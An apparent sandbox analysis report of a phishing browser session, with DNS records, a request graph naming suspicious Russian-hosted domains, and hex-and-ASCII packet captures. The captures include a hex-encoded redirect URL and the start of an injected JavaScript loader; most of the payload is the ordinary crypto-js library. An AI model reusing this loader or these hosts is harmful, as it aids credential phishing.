Jan 8, 2025 17:19:16.578046083 CET	1.1.1.1	192.168.2.17	0x7e8c	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:16.578046083 CET	1.1.1.1	192.168.2.17	0x7e8c	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:16.578046083 CET	1.1.1.1	192.168.2.17	0x7e8c	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Jan 8, 2025 17:19:16.578337908 CET	1.1.1.1	192.168.2.17	0x26d	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:16.578337908 CET	1.1.1.1	192.168.2.17	0x26d	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:30.330382109 CET	1.1.1.1	192.168.2.17	0x5c2b	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 8, 2025 17:19:30.330404997 CET	1.1.1.1	192.168.2.17	0x8c61	No error (0)	identity.nel.measure.office.net	nel.measure.office.net.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

ecohomethings.net

cdnjs.cloudflare.com

ko.komirath.ru

https:

code.jquery.com

challenges.cloudflare.com

f8rko9tqhraaqp1wrwkimcxpswddjyadiut8moatucqrtvaahany8ocaazkp.gageodeg.ru

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.17	49705	103.83.194.55	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:24 UTC	654	OUT	GET /res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock HTTP/1.1 Host: ecohomethings.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:24 UTC	196	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:24 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-01-08 16:18:24 UTC	1969	IN	Data Raw: 37 61 35 0d 0a 20 20 20 20 76 61 72 20 53 78 66 4f 63 66 47 45 50 69 42 53 52 73 48 49 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 53 78 66 4f 63 66 47 45 50 69 42 53 52 73 48 49 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 53 78 66 4f 63 66 47 45 50 69 42 53 52 73 48 49 29 3b 0d 0a 53 78 66 4f 63 66 47 45 50 69 42 53 52 73 48 49 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7a5 var SxfOcfGEPiBSRsHI = document.createElement("script");SxfOcfGEPiBSRsHI.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(SxfOcfGEPiBSRsHI);SxfOcfGEPiBSRsHI.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.17	49709	104.17.24.14	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:25 UTC	526	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:25 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:25 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 156779 Expires: Mon, 29 Dec 2025 16:18:25 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9zLiV4BseUWEAS6v6WeYv2RKagsUQ%2FlVQ%2FO4SrGzjp1a%2FTrNdsKPKvTKhfssDDBSui4WQm947L1ll1c%2BJnWWa8JAjKmaZJ%2FxJnVEYuWCZIvPnYOJGn8RJUrKBK7bd2R4SVEE4sj1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fed80db985c431b-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:25 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 26 28 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 Data Ascii: &(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typ
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 20 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 Data Ascii: o=0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:fu
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 Data Ascii: se(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doPr
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 35 35 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e Data Ascii: 55===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 32 2b 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 Data Ascii: 2+(e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 3e 36 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 Data Ascii: >6-o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 53 3d 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 Data Ascii: S=A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 Data Ascii: clone.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(
2025-01-08 16:18:25 UTC	1369	IN	Data Raw: 29 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e Data Ascii: ),function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.17	49710	103.83.194.55	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:25 UTC	426	OUT	GET /res444.php?2-68747470733a2f2f4b6f2e6b6f6d69726174682e72752f316a5656536847492f-hemlock HTTP/1.1 Host: ecohomethings.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:25 UTC	196	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:25 GMT Server: Apache Access-Control-Allow-Origin: * Connection: close Transfer-Encoding: chunked Content-Type: text/javascript;charset=UTF-8
2025-01-08 16:18:25 UTC	1969	IN	Data Raw: 37 61 35 0d 0a 20 20 20 20 76 61 72 20 43 75 70 4b 66 61 66 4e 56 75 5a 54 57 48 76 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 43 75 70 4b 66 61 66 4e 56 75 5a 54 57 48 76 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 63 72 79 70 74 6f 2d 6a 73 2f 34 2e 30 2e 30 2f 63 72 79 70 74 6f 2d 6a 73 2e 6d 69 6e 2e 6a 73 22 29 3b 0d 0a 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 28 43 75 70 4b 66 61 66 4e 56 75 5a 54 57 48 76 79 29 3b 0d 0a 43 75 70 4b 66 61 66 4e 56 75 5a 54 57 48 76 79 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: 7a5 var CupKfafNVuZTWHvy = document.createElement("script");CupKfafNVuZTWHvy.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(CupKfafNVuZTWHvy);CupKfafNVuZTWHvy.onload=function()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.17	49713	104.17.24.14	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:25 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:26 UTC	962	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:26 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 156780 Expires: Mon, 29 Dec 2025 16:18:26 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=931ugpTyOxPEAUB9TicBkypXK511Et%2BWlRNPeDGK7OhQzaRQlcdgMGkwRa1W%2BUOM8xLD%2FDeIWAYnaBRTBzGcL4KAsCihwOy%2Fk2Gc4t5kfLPpmRB2itgHWX%2BMxRdEQ7VcZfQut7N2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8fed80e0cd607c99-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:26 UTC	407	IN	Data Raw: 37 62 65 66 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bef!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
